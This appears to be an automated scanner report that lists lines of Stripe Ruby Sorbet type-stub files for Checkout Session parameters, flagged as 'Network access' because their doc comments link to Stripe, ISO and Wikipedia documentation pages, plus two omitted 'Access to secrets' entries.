# The font family for the Checkout Session corresponding to one of the [supported font families](https://docs.stripe.com/payments/checkout/customization/appearance?payment-ui=stripe-hosted#font-compatibility). - Network accessline 203
def promotions=(_promotions); end # If set to `required`, it requires customers to check a terms of service checkbox before being able to pay. # There must be a valid terms of service URL set in your [Dashboard settings](htt - Network accessline 204
# If set to `required`, it requires customers to check a terms of service checkbox before being able to pay. # There must be a valid terms of service URL set in your [Dashboard settings](https://dashboard.stripe.com/settings/public) - Network accessline 205
# There must be a valid terms of service URL set in your [Dashboard settings](https://dashboard.stripe.com/settings/public). - Network accessline 563
} def issuer=(_issuer); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format - Network accessline 564
def issuer=(_issuer); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual - Network accessline 565
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp - Network accessline 645
} def images=(_images); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured fo - Network accessline 646
def images=(_images); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individu - Network accessline 647
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp - Network accessline 657
sig { params(_name: String).returns(String) } def name=(_name); end # A [tax code](https://docs.stripe.com/tax/tax-categories) ID. - Network accessline 658
def name=(_name); end # A [tax code](https://docs.stripe.com/tax/tax-categories) ID. sig { returns(T.nilable(String)) } - Network accessline 659
# A [tax code](https://docs.stripe.com/tax/tax-categories) ID. - Network accessline 693
def initialize(interval: nil, interval_count: nil); end end # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/curre - Network accessline 694
end # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). sig { returns(String) } - Network accessline 695
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 698
sig { params(_currency: String).returns(String) } def currency=(_currency); end # The ID of the [Product](https://docs.stripe.com/api/products) that this [Price](https://docs.stripe.com/api/prices) will belong to. One of - Network accessline 699
def currency=(_currency); end # The ID of the [Product](https://docs.stripe.com/api/products) that this [Price](https://docs.stripe.com/api/prices) will belong to. One of `product` or `product_data` is required. sig { re - Network accessline 700
# The ID of the [Product](https://docs.stripe.com/api/products) that this [Price](https://docs.stripe.com/api/prices) will belong to. One of `product` or `product_data` is required. - Network accessline 703
sig { params(_product: T.nilable(String)).returns(T.nilable(String)) } def product=(_product); end # Data used to generate a new [Product](https://docs.stripe.com/api/products) object inline. One of `product` or `product - Network accessline 704
def product=(_product); end # Data used to generate a new [Product](https://docs.stripe.com/api/products) object inline. One of `product` or `product_data` is required. sig { - Network accessline 705
# Data used to generate a new [Product](https://docs.stripe.com/api/products) object inline. One of `product` or `product_data` is required. - Network accessline 719
} def recurring=(_recurring); end # Only required if a [default tax behavior](https://docs.stripe.com/tax/products-prices-tax-categories-tax-behavior#setting-a-default-tax-behavior-(recommended)) was not provided in the - Network accessline 720
def recurring=(_recurring); end # Only required if a [default tax behavior](https://docs.stripe.com/tax/products-prices-tax-categories-tax-behavior#setting-a-default-tax-behavior-(recommended)) was not provided in the Stripe Tax s - Network accessline 721
# Only required if a [default tax behavior](https://docs.stripe.com/tax/products-prices-tax-categories-tax-behavior#setting-a-default-tax-behavior-(recommended)) was not provided in the Stripe Tax settings. Specifies whether the price is co - Network accessline 754
} def adjustable_quantity=(_adjustable_quantity); end # The [tax rates](https://docs.stripe.com/api/tax_rates) that will be applied to this line item depending on the customer's billing/shipping address. We currently support - Network accessline 755
def adjustable_quantity=(_adjustable_quantity); end # The [tax rates](https://docs.stripe.com/api/tax_rates) that will be applied to this line item depending on the customer's billing/shipping address. We currently support the follo - Network accessline 756
# The [tax rates](https://docs.stripe.com/api/tax_rates) that will be applied to this line item depending on the customer's billing/shipping address. We currently support the following countries: US, GB, AU, and all countries in the EU. - Network accessline 761
} def dynamic_tax_rates=(_dynamic_tax_rates); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a - Network accessline 762
def dynamic_tax_rates=(_dynamic_tax_rates); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structure - Network accessline 763
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp - Network accessline 768
} def metadata=(_metadata); end # The ID of the [Price](https://docs.stripe.com/api/prices) or [Plan](https://docs.stripe.com/api/plans) object. One of `price` or `price_data` is required. - Network accessline 769
def metadata=(_metadata); end # The ID of the [Price](https://docs.stripe.com/api/prices) or [Plan](https://docs.stripe.com/api/plans) object. One of `price` or `price_data` is required. sig { returns(T.nilable(String)) } - Network accessline 770
# The ID of the [Price](https://docs.stripe.com/api/prices) or [Plan](https://docs.stripe.com/api/plans) object. One of `price` or `price_data` is required. - Network accessline 773
sig { params(_price: T.nilable(String)).returns(T.nilable(String)) } def price=(_price); end # Data used to generate a new [Price](https://docs.stripe.com/api/prices) object inline. One of `price` or `price_data` is required - Network accessline 774
def price=(_price); end # Data used to generate a new [Price](https://docs.stripe.com/api/prices) object inline. One of `price` or `price_data` is required. sig { returns(T.nilable(Checkout::SessionCreateParams::LineItem::Pr - Network accessline 775
# Data used to generate a new [Price](https://docs.stripe.com/api/prices) object inline. One of `price` or `price_data` is required. - Network accessline 785
sig { params(_quantity: T.nilable(Integer)).returns(T.nilable(Integer)) } def quantity=(_quantity); end # The [tax rates](https://docs.stripe.com/api/tax_rates) which apply to this line item. - Network accessline 786
def quantity=(_quantity); end # The [tax rates](https://docs.stripe.com/api/tax_rates) which apply to this line item. sig { returns(T.nilable(T::Array[String])) } - Network accessline 787
# The [tax rates](https://docs.stripe.com/api/tax_rates) which apply to this line item. - Network accessline 880
} def adjustable_quantity=(_adjustable_quantity); end # The ID of the [Price](https://docs.stripe.com/api/prices) or [Plan](https://docs.stripe.com/api/plans) object. - Network accessline 881
def adjustable_quantity=(_adjustable_quantity); end # The ID of the [Price](https://docs.stripe.com/api/prices) or [Plan](https://docs.stripe.com/api/plans) object. sig { returns(String) } - Network accessline 882
# The ID of the [Price](https://docs.stripe.com/api/prices) or [Plan](https://docs.stripe.com/api/plans) object. - Network accessline 903
sig { params(_city: T.nilable(String)).returns(T.nilable(String)) } def city=(_city); end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 904
def city=(_city); end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). sig { returns(T.nilable(String)) } - Network accessline 905
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 923
sig { params(_postal_code: T.nilable(String)).returns(T.nilable(String)) } def postal_code=(_postal_code); end # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 924
def postal_code=(_postal_code); end # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). sig { returns(T.nilable(String)) } - Network accessline 925
# State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 995
def initialize(amount: nil, destination: nil); end end # The amount of the application fee (if any) that will be requested to be applied to the payment and transferred to the application owner's Stripe account. The amount of - Network accessline 996
end # The amount of the application fee (if any) that will be requested to be applied to the payment and transferred to the application owner's Stripe account. The amount of the application fee collected will be capped at the total - Network accessline 997
# The amount of the application fee (if any) that will be requested to be applied to the payment and transferred to the application owner's Stripe account. The amount of the application fee collected will be capped at the total amount captu - Network accessline 1010
sig { params(_description: T.nilable(String)).returns(T.nilable(String)) } def description=(_description); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be us - Network accessline 1011
def description=(_description); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. In - Network accessline 1012
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp - Network accessline 1024
sig { params(_on_behalf_of: T.nilable(String)).returns(T.nilable(String)) } def on_behalf_of=(_on_behalf_of); end # Email address that the receipt for the resulting payment will be sent to. If `receipt_email` is specified fo - Network accessline 1025
def on_behalf_of=(_on_behalf_of); end # Email address that the receipt for the resulting payment will be sent to. If `receipt_email` is specified for a payment in live mode, a receipt will be sent regardless of your [email settings] - Network accessline 1026
# Email address that the receipt for the resulting payment will be sent to. If `receipt_email` is specified for a payment in live mode, a receipt will be sent regardless of your [email settings](https://dashboard.stripe.com/account/emails). - Network accessline 1029
sig { params(_receipt_email: T.nilable(String)).returns(T.nilable(String)) } def receipt_email=(_receipt_email); end # Indicates that you intend to [make future payments](https://docs.stripe.com/payments/payment-intents#futu - Network accessline 1030
def receipt_email=(_receipt_email); end # Indicates that you intend to [make future payments](https://docs.stripe.com/payments/payment-intents#future-usage) with the payment # method collected by this Checkout Session. - Network accessline 1031
# Indicates that you intend to [make future payments](https://docs.stripe.com/payments/payment-intents#future-usage) with the payment - Network accessline 1060
} def shipping=(_shipping); end # Text that appears on the customer's statement as the statement descriptor for a non-card charge. This value overrides the account's default statement descriptor. For information about requir - Network accessline 1061
def shipping=(_shipping); end # Text that appears on the customer's statement as the statement descriptor for a non-card charge. This value overrides the account's default statement descriptor. For information about requirements, in - Network accessline 1062
# Text that appears on the customer's statement as the statement descriptor for a non-card charge. This value overrides the account's default statement descriptor. For information about requirements, including the 22-character limit, see [t - Network accessline 1063
# # Setting this value for a card charge returns an error. For card charges, set the [statement_descriptor_suffix](https://docs.stripe.com/get-started/account/statement-descriptors#dynamic) instead. sig { returns(T.nilable(S - Network accessline 1064
# Setting this value for a card charge returns an error. For card charges, set the [statement_descriptor_suffix](https://docs.stripe.com/get-started/account/statement-descriptors#dynamic) instead. - Network accessline 1067
sig { params(_statement_descriptor: T.nilable(String)).returns(T.nilable(String)) } def statement_descriptor=(_statement_descriptor); end # Provides information about a card charge. Concatenated to the account's [statement d - Network accessline 1068
def statement_descriptor=(_statement_descriptor); end # Provides information about a card charge. Concatenated to the account's [statement descriptor prefix](https://docs.stripe.com/get-started/account/statement-descriptors#static) - Network accessline 1069
# Provides information about a card charge. Concatenated to the account's [statement descriptor prefix](https://docs.stripe.com/get-started/account/statement-descriptors#static) to form the complete statement descriptor that appears on the - Network accessline 1073
def statement_descriptor_suffix=(_statement_descriptor_suffix); end # The parameters used to automatically create a Transfer when the payment succeeds. # For more information, see the PaymentIntents [use case for connected a - Network accessline 1074
# The parameters used to automatically create a Transfer when the payment succeeds. # For more information, see the PaymentIntents [use case for connected accounts](https://docs.stripe.com/payments/connected-accounts). sig { - Network accessline 1075
# For more information, see the PaymentIntents [use case for connected accounts](https://docs.stripe.com/payments/connected-accounts). - Network accessline 1080
} def transfer_data=(_transfer_data); end # A string that identifies the resulting payment as part of a group. See the PaymentIntents [use case for connected accounts](https://docs.stripe.com/connect/separate-charges-and-tra - Network accessline 1081
def transfer_data=(_transfer_data); end # A string that identifies the resulting payment as part of a group. See the PaymentIntents [use case for connected accounts](https://docs.stripe.com/connect/separate-charges-and-transfers) fo - Network accessline 1082
# A string that identifies the resulting payment as part of a group. See the PaymentIntents [use case for connected accounts](https://docs.stripe.com/connect/separate-charges-and-transfers) for details. - Access to secretsline 1118
[Credential-related source omitted] - Access to secretsline 1119
[Credential-related source omitted] - Network accessline 1155
); end end # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). This is only accepted for Checkout Sessio - Network accessline 1156
end # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). This is only accepted for Checkout Sessions in `setup` mod - Network accessline 1157
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). This is only accepted for Checkout Sessions in `setup` mode. - Network accessline 1457
sig { params(_request_overcapture: T.nilable(String)).returns(T.nilable(String)) } def request_overcapture=(_request_overcapture); end # We strongly recommend that you rely on our SCA Engine to automatically prompt your - Network accessline 1458
def request_overcapture=(_request_overcapture); end # We strongly recommend that you rely on our SCA Engine to automatically prompt your customers for authentication based on risk level and [other requirements](https://docs.stripe - Network accessline 1459
# We strongly recommend that you rely on our SCA Engine to automatically prompt your customers for authentication based on risk level and [other requirements](https://docs.stripe.com/strong-customer-authentication). However, if you wish to - Network accessline 2004
sig { params(_capture_method: T.nilable(String)).returns(T.nilable(String)) } def capture_method=(_capture_method); end # [Preferred locale](https://docs.stripe.com/payments/paypal/supported-locales) of the PayPal checko - Network accessline 2005
def capture_method=(_capture_method); end # [Preferred locale](https://docs.stripe.com/payments/paypal/supported-locales) of the PayPal checkout page that the customer is redirected to. sig { returns(T.nilable(String)) } - Network accessline 2006
# [Preferred locale](https://docs.stripe.com/payments/paypal/supported-locales) of the PayPal checkout page that the customer is redirected to. - Network accessline 2797
sig { params(_description: T.nilable(String)).returns(T.nilable(String)) } def description=(_description); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be us - Network accessline 2798
def description=(_description); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. In - Network accessline 2799
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp - Network accessline 2898
sig { params(_amount: Integer).returns(Integer) } def amount=(_amount); end # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://s - Network accessline 2899
def amount=(_amount); end # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). sig { returns(String) - Network accessline 2900
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 2903
sig { params(_currency: String).returns(String) } def currency=(_currency); end # Shipping rates defined in each available currency option. Each key must be a three-letter [ISO currency code](https://www.iso.org/iso- - Network accessline 2904
def currency=(_currency); end # Shipping rates defined in each available currency option. Each key must be a three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html) and a [supported currency](https://s - Network accessline 2905
# Shipping rates defined in each available currency option. Each key must be a three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html) and a [supported currency](https://stripe.com/docs/currencies). - Network accessline 2940
} def fixed_amount=(_fixed_amount); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a struc - Network accessline 2941
def fixed_amount=(_fixed_amount); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format - Network accessline 2942
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp - Network accessline 2952
sig { params(_tax_behavior: T.nilable(String)).returns(T.nilable(String)) } def tax_behavior=(_tax_behavior); end # A [tax code](https://docs.stripe.com/tax/tax-categories) ID. The Shipping tax code is `txcd_92010001`. - Network accessline 2953
def tax_behavior=(_tax_behavior); end # A [tax code](https://docs.stripe.com/tax/tax-categories) ID. The Shipping tax code is `txcd_92010001`. sig { returns(T.nilable(String)) } - Network accessline 2954
# A [tax code](https://docs.stripe.com/tax/tax-categories) ID. The Shipping tax code is `txcd_92010001`. - Network accessline 3089
def initialize(end_behavior: nil); end end # A non-negative decimal between 0 and 100, with at most two decimal places. This represents the percentage of the subscription invoice total that will be transferred to the applica - Network accessline 3090
end # A non-negative decimal between 0 and 100, with at most two decimal places. This represents the percentage of the subscription invoice total that will be transferred to the application owner's Stripe account. To use an applicat - Network accessline 3091
# A non-negative decimal between 0 and 100, with at most two decimal places. This represents the percentage of the subscription invoice total that will be transferred to the application owner's Stripe account. To use an application fee perc - Network accessline 3117
# The subscription's description, meant to be displayable to the customer. # Use this field to optionally store an explanation of the subscription # for rendering in the [customer portal](https://docs.stripe.com/customer-man - Network accessline 3118
# Use this field to optionally store an explanation of the subscription # for rendering in the [customer portal](https://docs.stripe.com/customer-management). sig { returns(T.nilable(String)) } - Network accessline 3119
# for rendering in the [customer portal](https://docs.stripe.com/customer-management). - Network accessline 3129
} def invoice_settings=(_invoice_settings); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a s - Network accessline 3130
def invoice_settings=(_invoice_settings); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured - Network accessline 3131
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp - Network accessline 3223
def initialize(link: nil); end end # Settings for price localization with [Adaptive Pricing](https://docs.stripe.com/payments/checkout/adaptive-pricing). - Network accessline 3224
end # Settings for price localization with [Adaptive Pricing](https://docs.stripe.com/payments/checkout/adaptive-pricing). sig { returns(T.nilable(Checkout::SessionCreateParams::AdaptivePricing)) } - Network accessline 3225
# Settings for price localization with [Adaptive Pricing](https://docs.stripe.com/payments/checkout/adaptive-pricing). - Network accessline 3280
} def consent_collection=(_consent_collection); end # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). Required - Network accessline 3281
def consent_collection=(_consent_collection); end # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). Required in `set - Network accessline 3282
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). Required in `setup` mode when `payment_method_types` is not set. - Network accessline 3301
# ID of an existing Customer, if one exists. In `payment` mode, the customer’s most recently saved card # payment method will be used to prefill the email, name, card details, and billing address # on the Checkout page. In `subs - Network accessline 3302
# payment method will be used to prefill the email, name, card details, and billing address # on the Checkout page. In `subscription` mode, the customer’s [default payment method](https://docs.stripe.com/api/customers/update#update_cu - Network accessline 3303
# on the Checkout page. In `subscription` mode, the customer’s [default payment method](https://docs.stripe.com/api/customers/update#update_customer-invoice_settings-default_payment_method) - Network accessline 3304
# will be used if it’s a card, otherwise the most recently saved card will be used. A valid billing address, billing name and billing email are required on the payment method for Checkout to prefill the customer's card details. # - Network accessline 3305
# # If the Customer already has a valid [email](https://docs.stripe.com/api/customers/object#customer_object-email) set, the email will be prefilled and not editable in Checkout. # If the Customer does not have a valid `email`, - Network accessline 3306
# If the Customer already has a valid [email](https://docs.stripe.com/api/customers/object#customer_object-email) set, the email will be prefilled and not editable in Checkout. - Network accessline 3309
# If blank for Checkout Sessions in `subscription` mode or with `customer_creation` set as `always` in `payment` mode, Checkout will create a new Customer object based on information provided during the payment flow. # # You can - Network accessline 3310
# # You can set [`payment_intent_data.setup_future_usage`](https://docs.stripe.com/api/checkout/sessions/create#create_checkout_session-payment_intent_data-setup_future_usage) to have Checkout automatically attach the payment method t - Network accessline 3311
# You can set [`payment_intent_data.setup_future_usage`](https://docs.stripe.com/api/checkout/sessions/create#create_checkout_session-payment_intent_data-setup_future_usage) to have Checkout automatically attach the payment method to the Cu - Network accessline 3319
sig { params(_customer_account: T.nilable(String)).returns(T.nilable(String)) } def customer_account=(_customer_account); end # Configure whether a Checkout Session creates a [Customer](https://docs.stripe.com/api/customers) dur - Network accessline 3320
def customer_account=(_customer_account); end # Configure whether a Checkout Session creates a [Customer](https://docs.stripe.com/api/customers) during Session confirmation. # - Network accessline 3321
# Configure whether a Checkout Session creates a [Customer](https://docs.stripe.com/api/customers) during Session confirmation. - Network accessline 3322
# # When a Customer is not created, you can still retrieve email, address, and other customer data entered in Checkout # with [customer_details](https://docs.stripe.com/api/checkout/sessions/object#checkout_session_object-custom - Network accessline 3323
# When a Customer is not created, you can still retrieve email, address, and other customer data entered in Checkout # with [customer_details](https://docs.stripe.com/api/checkout/sessions/object#checkout_session_object-customer_detai - Network accessline 3324
# with [customer_details](https://docs.stripe.com/api/checkout/sessions/object#checkout_session_object-customer_details). - Network accessline 3325
# # Sessions that don't create Customers instead are grouped by [guest customers](https://docs.stripe.com/payments/checkout/guest-customers) # in the Dashboard. Promotion codes limited to first time customers will return invalid - Network accessline 3326
# Sessions that don't create Customers instead are grouped by [guest customers](https://docs.stripe.com/payments/checkout/guest-customers) - Network accessline 3355
} def discounts=(_discounts); end # A list of the types of payment methods (e.g., `card`) that should be excluded from this Checkout Session. This should only be used when payment methods for this Checkout Session are managed th - Network accessline 3356
def discounts=(_discounts); end # A list of the types of payment methods (e.g., `card`) that should be excluded from this Checkout Session. This should only be used when payment methods for this Checkout Session are managed through th - Network accessline 3357
# A list of the types of payment methods (e.g., `card`) that should be excluded from this Checkout Session. This should only be used when payment methods for this Checkout Session are managed through the [Stripe Dashboard](https://dashboard - Network accessline 3379
} def invoice_creation=(_invoice_creation); end # A list of items the customer is purchasing. Use this parameter to pass one-time or recurring [Prices](https://docs.stripe.com/api/prices). The parameter is required for `payment` - Network accessline 3380
def invoice_creation=(_invoice_creation); end # A list of items the customer is purchasing. Use this parameter to pass one-time or recurring [Prices](https://docs.stripe.com/api/prices). The parameter is required for `payment` and `su - Network accessline 3381
# A list of items the customer is purchasing. Use this parameter to pass one-time or recurring [Prices](https://docs.stripe.com/api/prices). The parameter is required for `payment` and `subscription` mode. - Network accessline 3395
sig { params(_locale: T.nilable(String)).returns(T.nilable(String)) } def locale=(_locale); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing ad - Network accessline 3396
def locale=(_locale); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual key - Network accessline 3397
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp - Network accessline 3411
# You can configure Checkout to collect your customers' business names, individual names, or both. Each name field can be either required or optional. # # If a [Customer](https://docs.stripe.com/api/customers) is created or prov - Network accessline 3412
# # If a [Customer](https://docs.stripe.com/api/customers) is created or provided, the names can be saved to the Customer object as well. sig { returns(T.nilable(Checkout::SessionCreateParams::NameCollection)) } - Network accessline 3413
# If a [Customer](https://docs.stripe.com/api/customers) is created or provided, the names can be saved to the Customer object as well. - Network accessline 3418
} def name_collection=(_name_collection); end # A list of optional items the customer can add to their order at checkout. Use this parameter to pass one-time or recurring [Prices](https://docs.stripe.com/api/prices). - Network accessline 3419
def name_collection=(_name_collection); end # A list of optional items the customer can add to their order at checkout. Use this parameter to pass one-time or recurring [Prices](https://docs.stripe.com/api/prices). # - Network accessline 3420
# A list of optional items the customer can add to their order at checkout. Use this parameter to pass one-time or recurring [Prices](https://docs.stripe.com/api/prices). - Network accessline 3448
# Can only be set in `subscription` mode. Defaults to `always`. # # If you'd like information on how to collect a payment method outside of Checkout, read the guide on configuring [subscriptions with a free trial](https://docs.s - Network accessline 3449
# # If you'd like information on how to collect a payment method outside of Checkout, read the guide on configuring [subscriptions with a free trial](https://docs.stripe.com/payments/checkout/free-trials). sig { returns(T.nilabl - Network accessline 3450
# If you'd like information on how to collect a payment method outside of Checkout, read the guide on configuring [subscriptions with a free trial](https://docs.stripe.com/payments/checkout/free-trials). - Network accessline 3474
# A list of the types of payment methods (e.g., `card`) this Checkout Session can accept. # # You can omit this attribute to manage your payment methods from the [Stripe Dashboard](https://dashboard.stripe.com/settings/payment_m - Network accessline 3475
# # You can omit this attribute to manage your payment methods from the [Stripe Dashboard](https://dashboard.stripe.com/settings/payment_methods). # See [Dynamic Payment Methods](https://docs.stripe.com/payments/payment-methods/ - Network accessline 3476
# You can omit this attribute to manage your payment methods from the [Stripe Dashboard](https://dashboard.stripe.com/settings/payment_methods). - Network accessline 3477
# See [Dynamic Payment Methods](https://docs.stripe.com/payments/payment-methods/integration-options#using-dynamic-payment-methods) for more details. - Network accessline 3501
# # We recommend that you review your privacy policy and check with your legal contacts # before using this feature. Learn more about [collecting phone numbers with Checkout](https://docs.stripe.com/payments/checkout/phone-numbe - Network accessline 3502
# We recommend that you review your privacy policy and check with your legal contacts # before using this feature. Learn more about [collecting phone numbers with Checkout](https://docs.stripe.com/payments/checkout/phone-numbers). - Network accessline 3503
# before using this feature. Learn more about [collecting phone numbers with Checkout](https://docs.stripe.com/payments/checkout/phone-numbers). - Network accessline 3508
} def phone_number_collection=(_phone_number_collection); end # This parameter applies to `ui_mode: embedded`. Learn more about the [redirect behavior](https://docs.stripe.com/payments/checkout/custom-success-page?payment-ui=emb - Network accessline 3509
def phone_number_collection=(_phone_number_collection); end # This parameter applies to `ui_mode: embedded`. Learn more about the [redirect behavior](https://docs.stripe.com/payments/checkout/custom-success-page?payment-ui=embedded-fo - Network accessline 3510
# This parameter applies to `ui_mode: embedded`. Learn more about the [redirect behavior](https://docs.stripe.com/payments/checkout/custom-success-page?payment-ui=embedded-form) of embedded sessions. Defaults to `always`. - Network accessline 3567
# This parameter is not allowed if ui_mode is `embedded` or `custom`. If you'd like to use # information from the successful Checkout Session on your page, read the # guide on [customizing your success page](https://docs.stripe. - Network accessline 3568
# information from the successful Checkout Session on your page, read the # guide on [customizing your success page](https://docs.stripe.com/payments/checkout/custom-success-page). sig { returns(T.nilable(String)) } - Network accessline 3569
# guide on [customizing your success page](https://docs.stripe.com/payments/checkout/custom-success-page).
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/checkout/session_update_params.rbi
- Network accessline 14
sig { params(_city: T.nilable(String)).returns(T.nilable(String)) } def city=(_city); end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 15
def city=(_city); end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). sig { returns(String) } - Network accessline 16
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 34
sig { params(_postal_code: T.nilable(String)).returns(T.nilable(String)) } def postal_code=(_postal_code); end # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 35
def postal_code=(_postal_code); end # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). sig { returns(T.nilable(String)) } - Network accessline 36
# State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 120
} def images=(_images); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured fo - Network accessline 121
def images=(_images); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individu - Network accessline 122
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp - Network accessline 132
sig { params(_name: String).returns(String) } def name=(_name); end # A [tax code](https://docs.stripe.com/tax/tax-categories) ID. - Network accessline 133
def name=(_name); end # A [tax code](https://docs.stripe.com/tax/tax-categories) ID. sig { returns(T.nilable(String)) } - Network accessline 134
# A [tax code](https://docs.stripe.com/tax/tax-categories) ID. - Network accessline 168
def initialize(interval: nil, interval_count: nil); end end # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/curre - Network accessline 169
end # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). sig { returns(String) } - Network accessline 170
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 173
sig { params(_currency: String).returns(String) } def currency=(_currency); end # The ID of the [Product](https://docs.stripe.com/api/products) that this [Price](https://docs.stripe.com/api/prices) will belong to. One of - Network accessline 174
def currency=(_currency); end # The ID of the [Product](https://docs.stripe.com/api/products) that this [Price](https://docs.stripe.com/api/prices) will belong to. One of `product` or `product_data` is required. sig { re - Network accessline 175
# The ID of the [Product](https://docs.stripe.com/api/products) that this [Price](https://docs.stripe.com/api/prices) will belong to. One of `product` or `product_data` is required. - Network accessline 178
sig { params(_product: T.nilable(String)).returns(T.nilable(String)) } def product=(_product); end # Data used to generate a new [Product](https://docs.stripe.com/api/products) object inline. One of `product` or `product - Network accessline 179
def product=(_product); end # Data used to generate a new [Product](https://docs.stripe.com/api/products) object inline. One of `product` or `product_data` is required. sig { - Network accessline 180
# Data used to generate a new [Product](https://docs.stripe.com/api/products) object inline. One of `product` or `product_data` is required. - Network accessline 194
